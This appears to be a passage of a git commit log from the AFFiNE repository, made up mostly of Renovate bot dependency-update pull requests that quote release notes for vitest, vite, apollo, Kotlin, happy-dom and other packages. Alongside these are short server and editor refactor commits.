-   [`de371b3`](https://redirect.github.com/shoelace-style/shoelace/commit/de371b3): update version (Cory LaViska)
-   [`960de96`](https://redirect.github.com/shoelace-style/shoelace/commit/960de96): 2.20.0 (Cory LaViska)

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

This release includes security patches for:

-   [Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

</details>

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.17.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1170)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.1...1.17.0)

##### New

-   **Add suffix to schema type filenames ([#&#8203;2598](https://redirect.github.com/apollographql/apollo-ios/issues/2598)):** When fragments were named the same as schema types code generation would produce two files with the same name, but at different paths, for each respective type. This would cause a build error in Xcode. There is a new codegen configuration option (`appendSchemaTypeFilenameSuffix`) to add a suffix to schema generated filenames and prevent the build error. See PR [#&#8203;580](https://redirect.github.com/apollographql/apollo-ios-dev/pull/580).
-   **Specify caching fields with `typePolicy` directive ([#&#8203;554](https://redirect.github.com/apollographql/apollo-ios-dev/pull/554)):** The `@typePolicy` directive lets you specify an object's cache ID using key fields of the response object. See the [documentation](https://www.apollographql.com/docs/ios/caching/cache-key-resolution#the-typepolicy-directive) for full details. *Thank you to [@&#8203;x-sheep](https://redirect.github.com/x-sheep) for the contribution.*
-   **Emit `Identifiable` conformance on `SelectionSet` ([#&#8203;584](https://redirect.github.com/apollographql/apollo-ios-dev/pull/584)):** If the `@typePolicy` of a type uses a `keyField` of `id` the selection set will emit conformance to Swifts [`Identifiable` protocol](https://developer.apple.com/documentation/swift/identifiable). *Thank you to [@&#8203;x-sheep](https://redirect.github.com/x-sheep) for the contribution.*

##### Improvement

-   **Improved performance of code generation on operations with many nested fragments ([#&#8203;3434](https://redirect.github.com/apollographql/apollo-ios/issues/3434)):** When fragment field merging is disabled the fragment selection trees are no longer merged into the `EntitySelectionSet` while building operations. See PR [#&#8203;571](https://redirect.github.com/apollographql/apollo-ios-dev/pull/571).

##### Fixed

-   **Defer metadata extension ([#&#8203;3505](https://redirect.github.com/apollographql/apollo-ios/issues/3503)):** Metadata extensions for deferred selection sets were incorrectly generated inside the namespace extension for `embeddedInTarget` and `other` module types. See PR [#&#8203;581](https://redirect.github.com/apollographql/apollo-ios-dev/pull/581).
-   **`DataDict` initialization of `deferredFragments` for named fragments ([#&#8203;587](https://redirect.github.com/apollographql/apollo-ios-dev/pull/587)):** When deferred fragments are named fragments the deferred type should be the fragment generated definition name.

### [`v1.16.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1161)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.0...1.16.1)

##### Fixed

-   **Web socket data race crash fixed ([#&#8203;578](https://redirect.github.com/apollographql/apollo-ios-dev/pull/578)):** A data race in the web socket layer was causing crashes in some rare circumstances.

-   **Added support for GraphQL over HTTP media type([#&#8203;558](https://redirect.github.com/apollographql/apollo-ios-dev/pull/558)):** Apollo iOS now supports the `content-type` header with a type of `application/graphql-response+json`.

</details>

<details>
<summary>gradle/gradle (gradle)</summary>

### [`v8.12.1`](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1)

[Compare Source](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.474.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.474.0): New icons 0.474.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.473.0...0.474.0)

##### Modified Icons 🔨

-   `expand` ([#&#8203;2677](https://redirect.github.com/lucide-icons/lucide/issues/2677)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.13.1`](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1)

</details>

<details>
<summary>resend/react-email (react-email)</summary>

### [`v3.0.6`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#306)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.5...react-email@3.0.6)

##### Patch Changes

-   [`c6fcd94`](https://redirect.github.com/resend/react-email/commit/c6fcd94): Fix preview server crashing without React 19

### [`v3.0.5`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#305)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.4...react-email@3.0.5)

##### Patch Changes

-   [`7337d04`](https://redirect.github.com/resend/react-email/commit/7337d04): Fix emails being re-rendered each time there is navigation in the preview server

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.2`](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2)

### [`v2.3.1`](https://redirect.github.com/vercel/swr/releases/tag/v2.3.1)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.0...v2.3.1)

##### Fixes

-   fix: missing `throwOnError` in SWRMutationHook options by [@&#8203;Ram4GB](https://redirect.github.com/Ram4GB) in [https://github.com/vercel/swr/pull/3054](https://redirect.github.com/vercel/swr/pull/3054)
-   fix: sever env detection for deno by [@&#8203;elrrrrrrr](https://redirect.github.com/elrrrrrrr) in [https://github.com/vercel/swr/pull/4064](https://redirect.github.com/vercel/swr/pull/4064)
-   keepPreviousData: return fallback instead of undefined value by [@&#8203;dvoytenko](https://redirect.github.com/dvoytenko) in [https://github.com/vercel/swr/pull/4084](https://redirect.github.com/vercel/swr/pull/4084)

##### Misc

-   ci: update pnpm setup and lock pnpm vesion by [@&#8203;huozhi](https://redirect.github.com/huozhi) in [https://github.com/vercel/swr/pull/4085](https://redirect.github.com/vercel/swr/pull/4085)
-   build: bump bundler by [@&#8203;huozhi](https://redirect.github.com/huozhi) in [https://github.com/vercel/swr/pull/4086](https://redirect.github.com/vercel/swr/pull/4086)
-   refactor: type improvement of `useSWRHandler` by [@&#8203;samuel871211](https://redirect.github.com/samuel871211) in [https://github.com/vercel/swr/pull/4075](https://redirect.github.com/vercel/swr/pull/4075)

#### New Contributors

-   [@&#8203;Ram4GB](https://redirect.github.com/Ram4GB) made their first contribution in [https://github.com/vercel/swr/pull/3054](https://redirect.github.com/vercel/swr/pull/3054)
-   [@&#8203;elrrrrrrr](https://redirect.github.com/elrrrrrrr) made their first contribution in [https://github.com/vercel/swr/pull/4064](https://redirect.github.com/vercel/swr/pull/4064)
-   [@&#8203;dvoytenko](https://redirect.github.com/dvoytenko) made their first contribution in [https://github.com/vercel/swr/pull/4084](https://redirect.github.com/vercel/swr/pull/4084)
-   [@&#8203;samuel871211](https://redirect.github.com/samuel871211) made their first contribution in [https://github.com/vercel/swr/pull/4075](https://redirect.github.com/vercel/swr/pull/4075)

**Full Changelog**: https://github.com/vercel/swr/compare/v2.3.0...v2.3.1

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#610-2025-02-05)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.11...v6.1.0)

-   refactor: deprecate `vite optimize` command ([#&#8203;19348](https://redirect.github.com/vitejs/vite/issues/19348)) ([6e0e3c0](6e0e3c0b99)), closes [#&#8203;19348](https://redirect.github.com/vitejs/vite/issues/19348)
-   feat: show hosts in cert in CLI ([#&#8203;19317](https://redirect.github.com/vitejs/vite/issues/19317)) ([a5e306f](a5e306f2fc)), closes [#&#8203;19317](https://redirect.github.com/vitejs/vite/issues/19317)
-   feat: support for env var for defining allowed hosts ([#&#8203;19325](https://redirect.github.com/vitejs/vite/issues/19325)) ([4d88f6c](4d88f6c939)), closes [#&#8203;19325](https://redirect.github.com/vitejs/vite/issues/19325)
-   feat: use native runtime to import the config ([#&#8203;19178](https://redirect.github.com/vitejs/vite/issues/19178)) ([7c2a794](7c2a7942cc)), closes [#&#8203;19178](https://redirect.github.com/vitejs/vite/issues/19178)
-   fix: avoid builtStart during vite optimize ([#&#8203;19356](https://redirect.github.com/vitejs/vite/issues/19356)) ([fdb36e0](fdb36e0769)), closes [#&#8203;19356](https://redirect.github.com/vitejs/vite/issues/19356)
-   fix(build): fix stale build manifest on watch rebuild ([#&#8203;19361](https://redirect.github.com/vitejs/vite/issues/19361)) ([fcd5785](fcd578587b)), closes [#&#8203;19361](https://redirect.github.com/vitejs/vite/issues/19361)

### [`v6.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6011-2025-01-21-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.10...v6.0.11)

-   fix: `preview.allowedHosts` with specific values was not respected ([#&#8203;19246](https://redirect.github.com/vitejs/vite/issues/19246)) ([aeb3ec8](aeb3ec84a2)), closes [#&#8203;19246](https://redirect.github.com/vitejs/vite/issues/19246)
-   fix: allow CORS from loopback addresses by default ([#&#8203;19249](https://redirect.github.com/vitejs/vite/issues/19249)) ([3d03899](3d03899737)), closes [#&#8203;19249](https://redirect.github.com/vitejs/vite/issues/19249)

### [`v6.0.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6010-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.9...v6.0.10)

-   fix: try parse `server.origin` URL ([#&#8203;19241](https://redirect.github.com/vitejs/vite/issues/19241)) ([2495022](2495022420)), closes [#&#8203;19241](https://redirect.github.com/vitejs/vite/issues/19241)

</details>

<details>
<summary>apollographql/apollo-kotlin (com.apollographql.apollo)</summary>

### [`v4.1.1`](https://redirect.github.com/apollographql/apollo-kotlin/blob/HEAD/CHANGELOG.md#Version-411)

*2025-01-24*

#### Kotlin 2.1.0 ([#&#8203;6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291))

The artifacts are now compiled with [Kotlin 2.1.0](https://kotlinlang.org/docs/whatsnew21.html). This change should be transparent for JVM and Android users thanks to [`languageVersion`](https://kotlinlang.org/docs/compatibility-modes.html) but [requires klib consumers (native + JS) to update their KGP version to 2.1.0](8add2e3b98/compiler/util-klib/KotlinAbiVersionBumpHistory.md (L3-L5)).

#### Rover LSP support in the IntelliJ plugin ([#&#8203;6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274))

The IntelliJ plugin now has a dedicated mode for backend developers that uses [Rover](https://redirect.github.com/apollographql/rover) LSP ([Language Server Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol)) to parse federation and connectors directives. This mode is only available when using IntelliJ Ultimate and other IDEs with LSP support. It is recommended for subgraphs authors.

#### Gradle isolated projects support ([#&#8203;6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351))

This release supports [Gradle isolated projects](https://docs.gradle.org/current/userguide/isolated_projects.html) for shorter configuration times.

#### Contributors 💙💙

Many thanks to [@&#8203;jvanderwee](https://redirect.github.com/jvanderwee), [@&#8203;varahash](https://redirect.github.com/varahash), [@&#8203;whyoleg](https://redirect.github.com/whyoleg), [@&#8203;StylianosGakis](https://redirect.github.com/StylianosGakis) and [@&#8203;scana](https://redirect.github.com/scana) for all the contributions and help in this release 💙!

#### 👷‍♂️ All changes

-   \[all] Do not set the license URL in the POMs ([#&#8203;6247](https://redirect.github.com/apollographql/apollo-kotlin/issues/6247))
-   \[all] Bump Kotlin to 2.1.0 ([#&#8203;6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291))
-   \[all] Bump atomicfu ([#&#8203;6245](https://redirect.github.com/apollographql/apollo-kotlin/issues/6245))
-   \[intellij-plugin] Play nice with IDEs without Kotlin/Gradle ([#&#8203;6358](https://redirect.github.com/apollographql/apollo-kotlin/issues/6358))
-   \[intellij-plugin] Reduce usage of GradleExecutionHelper ([#&#8203;6355](https://redirect.github.com/apollographql/apollo-kotlin/issues/6355))
-   \[intellij-plugin] Use our own executeOnPooledThread instead of Android Plugin's ([#&#8203;6310](https://redirect.github.com/apollographql/apollo-kotlin/issues/6310))
-   \[intellij-plugin] Make Java and Kotlin dependencies optional ([#&#8203;6304](https://redirect.github.com/apollographql/apollo-kotlin/issues/6304))
-   \[intellij-plugin] Pass arguments to rover ([#&#8203;6303](https://redirect.github.com/apollographql/apollo-kotlin/issues/6303))
-   \[intellij-plugin] Move Rover settings to own section and add note about needing v0.27.0+ ([#&#8203;6278](https://redirect.github.com/apollographql/apollo-kotlin/issues/6278))
-   \[intellij-plugin] Remove untilBuild ([#&#8203;6279](https://redirect.github.com/apollographql/apollo-kotlin/issues/6279))
-   \[intellij-plugin] Add support for the Apollo LSP via Rover ([#&#8203;6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274))
-   \[intellij-plugin] Don't reference AdbShellCommandsUtil.executeCommandBlocking that's been removed ([#&#8203;6268](https://redirect.github.com/apollographql/apollo-kotlin/issues/6268))
-   \[intellij-plugin] Make verifyPlugin fail on certain problems ([#&#8203;6256](https://redirect.github.com/apollographql/apollo-kotlin/issues/6256))
-   \[intellij-plugin] Do not use internal symbol ([#&#8203;6255](https://redirect.github.com/apollographql/apollo-kotlin/issues/6255))
-   \[intellij-plugin] Add explicit dependency to com.intellij.modules.json ([#&#8203;6254](https://redirect.github.com/apollographql/apollo-kotlin/issues/6254))
-   \[gradle-plugin] Add a fail-safe mode to disable 2-step introspection and use minimal introspection query ([#&#8203;6360](https://redirect.github.com/apollographql/apollo-kotlin/issues/6360))
-   \[gradle-plugin] Isolated Projects support ([#&#8203;6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351))
-   \[gradle-plugin] expose the outgoing variants ([#&#8203;6329](https://redirect.github.com/apollographql/apollo-kotlin/issues/6329))
-   \[gradle-plugin] Better Gradle error message ([#&#8203;6326](https://redirect.github.com/apollographql/apollo-kotlin/issues/6326))
-   \[gradle-plugin] Fix classloader caching. Many thanks [@&#8203;scana](https://redirect.github.com/scana) for catching this ([#&#8203;6309](https://redirect.github.com/apollographql/apollo-kotlin/issues/6309))
-   \[gradle-plugin] Manage our classloaders manually ([#&#8203;6305](https://redirect.github.com/apollographql/apollo-kotlin/issues/6305))
-   \[gradle-plugin] Only call `onSchema()` once in multi-module scenrios ([#&#8203;6252](https://redirect.github.com/apollographql/apollo-kotlin/issues/6252))
-   \[runtime] Copy executionContext inside HttpRequest.newBuilder ([#&#8203;6350](https://redirect.github.com/apollographql/apollo-kotlin/issues/6350))
-   \[runtime] Apple HttpEngine: lock the handlers map ([#&#8203;6348](https://redirect.github.com/apollographql/apollo-kotlin/issues/6348))
-   \[runtime] Allow to initialize WebSocketEngine lazily ([#&#8203;6290](https://redirect.github.com/apollographql/apollo-kotlin/issues/6290))
-   \[runtime] Remove CloseableBackgroundDispatcher and bump coroutines version ([#&#8203;6286](https://redirect.github.com/apollographql/apollo-kotlin/issues/6286))
-   \[runtime] Override JsonNumber.toString() ([#&#8203;6273](https://redirect.github.com/apollographql/apollo-kotlin/issues/6273))
-   \[runtime] Implement ApolloWebSocketClosedException on darwin targets and update docs ([#&#8203;6275](https://redirect.github.com/apollographql/apollo-kotlin/issues/6275))
-   \[ast] Make deprecation.reason non-nullable ([#&#8203;6311](https://redirect.github.com/apollographql/apollo-kotlin/issues/6311))
-   \[ast] Allow multiple [@&#8203;link](https://redirect.github.com/link) schema extensions ([#&#8203;6284](https://redirect.github.com/apollographql/apollo-kotlin/issues/6284))
-   \[normalized-cache] Add ApolloStore.ALL_KEYS to notify all watchers ([#&#8203;6337](https://redirect.github.com/apollographql/apollo-kotlin/issues/6337))
-   \[http-cache] HTTP cache: do not remove cached entries on transport errors ([#&#8203;6314](https://redirect.github.com/apollographql/apollo-kotlin/issues/6314))
-   \[execution] Add apollo-execution ([#&#8203;6356](https://redirect.github.com/apollographql/apollo-kotlin/issues/6356))

</details>

<details>
<summary>JetBrains/kotlin (org.jetbrains.kotlin.jvm)</summary>

### [`v2.1.10`](https://redirect.github.com/JetBrains/kotlin/blob/HEAD/ChangeLog.md#2110)

##### Compiler

-   [`KT-73858`](https://youtrack.jetbrains.com/issue/KT-73858) Compose  / iOS: NullPointerException on building
-   [`KT-73454`](https://youtrack.jetbrains.com/issue/KT-73454) K2: Fix type parameters mapping for typealiases with inner RHS
-   [`KT-73043`](https://youtrack.jetbrains.com/issue/KT-73043) K2 Compiler does not allow references to inner constructors with typealiases
-   [`KT-74040`](https://youtrack.jetbrains.com/issue/KT-74040) Compilation of inner class usage does not check the visibility of parent class during compilation in different rounds
-   [`KT-73339`](https://youtrack.jetbrains.com/issue/KT-73339) K2: "VerifyError: Bad type on operand stack" because of missing implicit cast on generic field receiver with star projection
-   [`KT-72585`](https://youtrack.jetbrains.com/issue/KT-72585) K2: Compilation failure when upgrading to Kotlin 2.0.20+: Cannot replace top-level type with star projection: S
-   [`KT-73399`](https://youtrack.jetbrains.com/issue/KT-73399) compile-time JVM codegen failure on a KProperty argument of a KSuspendFunction parameter
-   [`KT-72725`](https://youtrack.jetbrains.com/issue/KT-72725) KMP: Unsupported actualization of inherited java field in expect class
-   [`KT-73153`](https://youtrack.jetbrains.com/issue/KT-73153) K2: Standalone diagnostics on type arguments are not reported

##### Compose compiler

-   [`CMP-5680`](https://youtrack.jetbrains.com/issue/CMP-5680) Compose compiler: unexpected stability warnings for classes compiled with 2.0.10
-   [`b/381407900`](https://issuetracker.google.com/issues/381407900) Avoid adding Compose annotations on synthetic classes

##### IR. Inlining

-   [`KT-73981`](https://youtrack.jetbrains.com/issue/KT-73981) Cherry-pick the fix for KT-73482 to 2.1.10

##### JavaScript

-   [`KT-70778`](https://youtrack.jetbrains.com/issue/KT-70778) Kotlin Js companion is undefined  in production build
-   [`KT-73130`](https://youtrack.jetbrains.com/issue/KT-73130) KJS: Missed `break` for do/while in generated JS code
-   [`KT-58797`](https://youtrack.jetbrains.com/issue/KT-58797) Optimize the code generated for objects on JS and Wasm backends

##### Klibs

-   [`KT-70146`](https://youtrack.jetbrains.com/issue/KT-70146) \[KLIB Resolve] Don't fail on nonexistent transitive dependency
-   [`KT-73951`](https://youtrack.jetbrains.com/issue/KT-73951) Workaround for "Partial linkage engine may not patch some discrepancies in IR when compiling Kotlin/Native static caches" in 2.1.10

##### Native

-   [`KT-73559`](https://youtrack.jetbrains.com/issue/KT-73559) K/Native: AndroidNativeArm64 linking fails starting from Kotlin 2.1.0

##### Tools. CLI

-   [`KT-73967`](https://youtrack.jetbrains.com/issue/KT-73967) JDK 25: "IllegalArgumentException: 25-ea" with EA builds

##### Tools. Daemon

-   [`KT-73311`](https://youtrack.jetbrains.com/issue/KT-73311) "Unable to release compile session, maybe daemon is already down" flakiness

##### Tools. Gradle

-   [`KT-73728`](https://youtrack.jetbrains.com/issue/KT-73728) 'generatePomFileForMavenPublication' creates pom with dependencies with 'unspecified' version

##### Tools. Gradle. Multiplatform

-   [`KT-73620`](https://youtrack.jetbrains.com/issue/KT-73620) KMP 2.1.0: Transitive dependency is broken when setting publication groupId

##### Tools. Gradle. Native

-   [`KT-73572`](https://youtrack.jetbrains.com/issue/KT-73572) \[Gradle] `kotlin.native.cacheKind=none` doesn't work anymore
-   [`KT-71419`](https://youtrack.jetbrains.com/issue/KT-71419) Light bundle KGP IT run against a stable K/N version

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 05:09:51 +00:00
forehalo
d3843d8f11 refactor(server): role actions definition (#9962) 2025-02-06 04:54:34 +00:00
renovate
31d251d44f chore: Lock file maintenance (#9654)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-02-06 04:11:07 +00:00
CatsJuice
90cb37086d fix(ios): add camera/photo library privacy description (#9954) 2025-02-06 03:41:17 +00:00
fengmk2
a2acacea3b refactor(server): use userDoc model on PgUserspaceDocStorageAdapter (#9845)
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2
8e7cfb6115 feat(server): userDoc model (#9835)
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2
b40f007ccf feat(server): doc model (#9834)
close CLOUD-104
2025-02-06 02:50:27 +00:00
Yifeng Wang
077a1b38ac refactor(editor): use model coord system in worker renderer (#9969) 2025-02-06 10:36:59 +08:00
renovate
e35d930f9f chore: bump up happy-dom version to v17 (#9971)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^16.0.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/happy-dom/16.6.0/17.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.6.0/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.6.0/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.1...v17.0.0)

##### 💣 Breaking Changes

-   Adds support for ECMAScript modules - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
    -   This change allows the use of `import` and `export` statements in JavaScript files

##### 🎨 Features

-   Adds support for tracing unended tasks when using `waitUntilComplete()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1567](https://redirect.github.com/capricorn86/happy-dom/issues/1567)
    -   Read more about how to enable this feature under `debug.traceWaitUntilComplete` in the Wiki for [IBrowserSettings](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
-   Adds support for preloading fetch, stylesheet, script and modules in `HTMLLinkElement` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `HTMLLinkElement.relList.supports()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `Request.mode` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Output failed requests to the console - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `HTMLScriptElement.blocking`, `HTMLScriptElement.crossOrigin`, `HTMLScriptElement.fetchPriority`, `HTMLScriptElement.noModule`, `HTMLScriptElement.integrity`, `HTMLScriptElement.referrerPolicy` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Use cache in virtual server requests - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `credentials` and `referrerPolicy` when fetching styles and scripts - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Disallow invalid attributes from being set in `Element.setAttribute()` - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706)

##### 👷‍♂️ Patch fixes

-   Call `afterAsyncResponse` fetch interceptor in virtual server requests - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Fixes bug where children in a `ShadowRoot` of a custom element that was upgraded from a `HTMLElement` wasn't considered connected to the DOM - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)

### [`v16.8.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.0...v16.8.1)

##### 👷‍♂️ Patch fixes

-   Handle non-string values gracefully when removing an attribute - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706)

### [`v16.8.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.3...v16.8.0)

##### 🎨 Features

-   Add support for `insertRow()` and `deleteRow()` to `HTMLTableSectionElement` - By **[@&#8203;christiango](https://redirect.github.com/christiango)** in task [#&#8203;1708](https://redirect.github.com/capricorn86/happy-dom/issues/1708)

### [`v16.7.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.2...v16.7.3)

##### 👷‍♂️ Patch fixes

-   Removes space from directory name that prevents the repo to be cloned on MS Windows - By **[@&#8203;kleinfreund](https://redirect.github.com/kleinfreund)** in task [#&#8203;1703](https://redirect.github.com/capricorn86/happy-dom/issues/1703)

### [`v16.7.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.1...v16.7.2)

##### 👷‍♂️ Patch fixes

-   Ignore invalid cookies in CookieContainer - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)

### [`v16.7.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.0...v16.7.1)

##### 👷‍♂️ Patch fixes

